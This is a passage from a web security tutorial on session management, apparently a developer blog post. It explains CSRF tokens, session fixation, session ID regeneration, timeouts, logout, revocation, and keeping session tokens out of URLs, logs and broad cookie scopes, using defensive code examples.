&lt;p&gt;That is the core idea behind &lt;strong&gt;Cross-Site Request Forgery&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The attacker is not stealing the session.&lt;/p&gt;

&lt;p&gt;They are abusing the browser's ability to use it.&lt;/p&gt;

&lt;h2&gt;
  
  
  CSRF Tokens
&lt;/h2&gt;

&lt;p&gt;One common defense is a CSRF token.&lt;/p&gt;

&lt;p&gt;The application generates a random value associated with the user's session.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/settings/email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;
    &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt;
    &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"csrf_token"&lt;/span&gt;
    &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"9bf231ce89f5d10a"&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;
    &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;
    &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    Change email
  &lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server expects both:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A valid authenticated session

and

A valid CSRF token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the attacker can cause the browser to submit a request but cannot obtain the correct CSRF token, the server can reject it.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Session cookie
      +
CSRF token
      ↓
Request accepted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A missing or incorrect token should cause the request to fail.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite&lt;/code&gt; cookies can also reduce CSRF risk, but it is useful to understand CSRF as its own problem rather than thinking one cookie flag solves everything.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Fixation
&lt;/h2&gt;

&lt;p&gt;Another session attack is less intuitive.&lt;/p&gt;

&lt;p&gt;It is called &lt;strong&gt;session fixation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Normally, we think of an attacker trying to steal a session after login.&lt;/p&gt;

&lt;p&gt;Session fixation reverses that idea.&lt;/p&gt;

&lt;p&gt;The attacker tries to make the victim use a session ID the attacker already knows.&lt;/p&gt;

&lt;p&gt;Imagine the attacker knows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;session_id=XYZ123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The victim somehow begins using that session.&lt;/p&gt;

&lt;p&gt;Then the victim logs in.&lt;/p&gt;

&lt;p&gt;If the application keeps the same session identifier after authentication:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Before login:
session_id=XYZ123

After login:
session_id=XYZ123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the attacker already knows the identifier of the authenticated session.&lt;/p&gt;

&lt;p&gt;The attack flow looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker knows session XYZ123
          ↓
Victim begins using XYZ123
          ↓
Victim logs in
          ↓
Server authenticates XYZ123
          ↓
Attacker still knows XYZ123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The password was never stolen.&lt;/p&gt;

&lt;p&gt;The session was never guessed.&lt;/p&gt;

&lt;p&gt;The problem was that the session identifier was not changed when authentication happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Regenerate the Session ID After Login
&lt;/h2&gt;

&lt;p&gt;The defense is straightforward:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Generate a new session identifier when authentication state changes.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/login&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid credentials&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;regenerate&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/dashboard&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important transition is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unauthenticated session ID
          ↓
User logs in
          ↓
New session ID
          ↓
Authenticated session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The old identifier should not simply become the authenticated session.&lt;/p&gt;

&lt;p&gt;Session rotation can also make sense after important privilege changes.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User
  ↓
Admin role granted
  ↓
Rotate session ID
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A session should not quietly carry sensitive state transitions forever.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Expiration
&lt;/h2&gt;

&lt;p&gt;Sessions should not remain valid indefinitely.&lt;/p&gt;

&lt;p&gt;If a session ID is stolen today and still works six months later, the attacker gets a very large window of opportunity.&lt;/p&gt;

&lt;p&gt;Two common expiration strategies are:&lt;/p&gt;

&lt;h3&gt;
  
  
  Idle Timeout
&lt;/h3&gt;

&lt;p&gt;The session expires after a period of inactivity.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Last activity: 10:00 AM

No activity for 30 minutes

Session expires at 10:30 AM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the user makes another legitimate request before the timeout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10:00 AM request
10:20 AM request
10:40 AM request
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the idle timer may be refreshed.&lt;/p&gt;

&lt;p&gt;This protects against sessions that are abandoned but never explicitly logged out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Absolute Timeout
&lt;/h2&gt;

&lt;p&gt;An absolute timeout limits the total lifetime of the session.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Login: 9:00 AM

Absolute lifetime: 8 hours

Session expires: 5:00 PM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if the user remains active, the session eventually ends.&lt;/p&gt;

&lt;p&gt;This creates an upper bound on how long the same authenticated session can exist.&lt;/p&gt;

&lt;p&gt;A system may use both:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Idle timeout:
30 minutes

Absolute timeout:
8 hours
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The correct values depend on the application.&lt;/p&gt;

&lt;p&gt;A low-risk community forum and an online banking system should not necessarily use the same session lifetime.&lt;/p&gt;

&lt;h2&gt;
  
  
  Remember Me Changes the Risk
&lt;/h2&gt;

&lt;p&gt;Many applications offer a feature like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Remember me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That can be useful, but developers should understand what it means from a security perspective.&lt;/p&gt;

&lt;p&gt;A normal session might last:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;30 minutes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;while a persistent login might last:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;30 days
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That dramatically increases the usefulness of a stolen token.&lt;/p&gt;

&lt;p&gt;If long-lived authentication is required, it is often better to treat it as a separate mechanism rather than simply making the normal session live forever.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Short-lived session
       +
Long-lived reauthentication token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The persistent token can be separately rotated, revoked, and monitored.&lt;/p&gt;

&lt;p&gt;Longer lifetime should always be treated as increased exposure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Logout Should Destroy the Session
&lt;/h2&gt;

&lt;p&gt;A common logout implementation is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clearCookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;session_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That removes the cookie from the user's browser.&lt;/p&gt;

&lt;p&gt;But ask an important question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What happened to the session on the server?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Possibly nothing.&lt;/p&gt;

&lt;p&gt;Imagine the server still contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;a8f19d27c4e91b72&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;authenticated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The original browser may no longer have the cookie.&lt;/p&gt;

&lt;p&gt;But if an attacker already copied the session identifier, that copy might still work.&lt;/p&gt;

&lt;p&gt;Logout should normally invalidate the server-side session too.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/logout&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;destroy&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clearCookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;session_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The goal is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Delete browser cookie
        +
Destroy server session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both matter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Password Changes Should Affect Existing Sessions
&lt;/h2&gt;

&lt;p&gt;Another important lifecycle question is:&lt;/p&gt;

&lt;p&gt;What happens to existing sessions when the password changes?&lt;/p&gt;

&lt;p&gt;Imagine this situation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Laptop session
Phone session
Tablet session
Unknown attacker session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user changes their password.&lt;/p&gt;

&lt;p&gt;If all existing sessions remain valid, the attacker's session may continue working.&lt;/p&gt;

&lt;p&gt;Depending on the application, a password reset or other major account security event may justify invalidating other sessions.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Password reset
      ↓
Invalidate old sessions
      ↓
Require new authentication
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is especially important after suspected account compromise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Revocation Matters
&lt;/h2&gt;

&lt;p&gt;Expiration answers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;When should this session naturally stop working?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Revocation answers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;How can we make this session stop working right now?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Useful scenarios include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User clicks "log out everywhere"

Password reset

Account locked

Admin disables account

Suspicious login detected

User removes a trusted device
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A server-side session store makes this relatively straightforward.&lt;/p&gt;

&lt;p&gt;If the session no longer exists:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;session_id=a8f19d27c4e91b72
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the server should reject it.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt; &lt;span class="ne"&gt;Unauthorized&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A session is only useful while the server still considers it valid.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't Put Session IDs in URLs
&lt;/h2&gt;

&lt;p&gt;This is worth stating directly.&lt;/p&gt;

&lt;p&gt;Do not design authenticated URLs like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/account?session_id=a8f19d27c4e91b72
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URLs leak into many places.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser history

Server logs

Proxy logs

Analytics systems

Screenshots

Copied links

Bookmarks

Referer headers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A URL is a terrible place for a bearer credential.&lt;/p&gt;

&lt;p&gt;Authentication tokens belong in mechanisms designed to transport them safely.&lt;/p&gt;

&lt;p&gt;For traditional browser sessions, that generally means cookies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Avoid Logging Session Tokens
&lt;/h2&gt;

&lt;p&gt;The same idea applies to application logging.&lt;/p&gt;

&lt;p&gt;This is useful:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-09-15T21:42:11Z
event=login_success
user=khg5293
source_ip=192.0.2.18
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is dangerous:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-09-15T21:42:11Z
event=login_success
user=khg5293
session_id=a8f19d27c4e91b72
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Logs are often copied, indexed, retained, exported, and accessed by many systems.&lt;/p&gt;

&lt;p&gt;A live session identifier appearing in logs can become a credential leak.&lt;/p&gt;

&lt;p&gt;Application logs should avoid exposing secrets unnecessarily.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keep Cookie Scope Narrow
&lt;/h2&gt;

&lt;p&gt;Cookie attributes can control where a cookie is sent.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=abc123; Path=/
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sends the cookie more broadly than:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=abc123; Path=/account
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The correct scope depends on the application.&lt;/p&gt;

&lt;p&gt;The same idea applies to domains.&lt;/p&gt;

&lt;p&gt;An overly broad cookie configuration can cause a credential to be sent to places that do not actually need it.&lt;/p&gt;

&lt;p&gt;A useful security principle is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Give credentials the smallest scope they actually require.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That applies to cookies too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Avoid Unnecessary Session Data in the Browser
&lt;/h2&gt;

&lt;p&gt;In a traditional server-side session architecture, the browser does not need to know everything about the session.&lt;/p&gt;

&lt;p&gt;This is usually enough:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: session_id=a8f19d27c4e91b72
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server can associate that identifier with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
